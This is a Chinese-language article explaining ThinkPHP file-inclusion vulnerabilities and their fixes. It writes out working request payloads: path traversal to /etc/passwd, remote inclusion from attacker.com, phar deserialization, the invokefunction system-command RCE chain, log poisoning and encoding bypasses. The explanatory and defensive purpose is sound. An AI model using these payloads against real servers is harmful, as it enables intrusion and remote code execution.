thinkphp文件包含漏洞本质是攻击者控制include路径参数引发lfi/rfi/rce，核心入口包括多语言lang参数未校验、模板extract变量覆盖、路由反射调用；修复须白名单限定+realpath路径约束+关闭调试与危险配置。
ThinkPHP文件包含漏洞不是单一漏洞，而是由多个版本、不同模块触发的一类高危风险。核心共性在于：攻击者能控制框架中用于include、require或类似动态加载逻辑的文件路径参数，绕过本地限制，最终实现任意文件读取或远程代码执行（RCE）。
多语言模块引发的LFI与RFI
ThinkPHP 5.x 和 6.x 的多语言功能是高频利用入口。当开启lang开关且未做白名单校验时，框架会将用户传入的lang值（如?lang=zh-cn）拼接到语言包路径中，再执行include。攻击者可构造如下请求：
-
?lang=../../../etc/passwd→ 读取系统敏感文件（LFI） -
?lang=http://attacker.com/shell.php→ 若allow_url_include=On，直接远程执行（RFI） -
?lang=phar://upload.zip/test.txt→ 利用phar反序列化触发RCE（即使allow_url_include=Off）
该路径在QVD-2022-46174中被正式披露，影响广泛，修复关键点是禁用动态语言包加载或强制限定语言标识为预设枚举值。
模板引擎中的变量覆盖型包含
ThinkPHP 5.0.x–5.1.x 存在因extract()误用导致的变量覆盖问题。当控制器调用$this->assign(request()->get())，再执行$this->fetch()时，攻击者可通过GET参数注入cacheFile等变量，覆盖模板缓存路径：
-
?cacheFile=../../public/shell.jpg→ 若图片马内容为合法PHP代码，会被当作模板解析执行 -
?template=php://filter/read=convert.base64-encode/resource=index→ 配合fetch()读取源码（需开启allow_url_fopen）
该漏洞本质是“可控变量→覆盖关键路径→触发包含”，修复方式是禁用assign($_GET)这类全量赋值，改用显式字段接收。
路由与控制器调用链中的路径拼接风险
部分ThinkPHP版本在处理URL参数（如s=module/controller/action）时，若开启调试模式或使用非标准路由规则，可能将用户输入拼入文件路径或反射调用中。例如：
- 攻击者提交
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id（旧版RCE链） - 或通过
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>直接写入并执行
这类利用依赖特定版本+开启调试/未禁用危险函数，但一旦命中，无需文件上传即可RCE。防御重点是关闭调试模式、限制invokefunction等高危路由，并升级至官方已修复版本。
绕过常见防护的典型手法
生产环境常有基础防护（如WAF拦截etc/passwd、禁用allow_url_include），但攻击者仍可通过以下方式突破：
-
伪协议组合：用
zip://或phar://绕过open_basedir和allow_url_include限制，例如phar://upload.zip/test.png -
日志文件包含：先通过User-Agent或Referer注入PHP代码到Web日志（如
access.log），再用?lang=../../../../../var/log/apache2/access.log包含执行 -
编码混淆：对路径进行双重URL编码、大小写混用（
..%2f..%2fetc%2fpasswd）、或使用%00截断（PHP低版本）绕过字符串匹配规则
这些手法说明：单纯过滤关键词或关闭一个PHP配置，无法根治问题；必须从输入校验、路径规范化、函数调用边界三方面协同加固。
php免费学习视频：立即使用
踏上前端学习之旅，开启通往精通之路！从前端基础到项目实战，循序渐进，一步一个脚印，迈向巅峰！
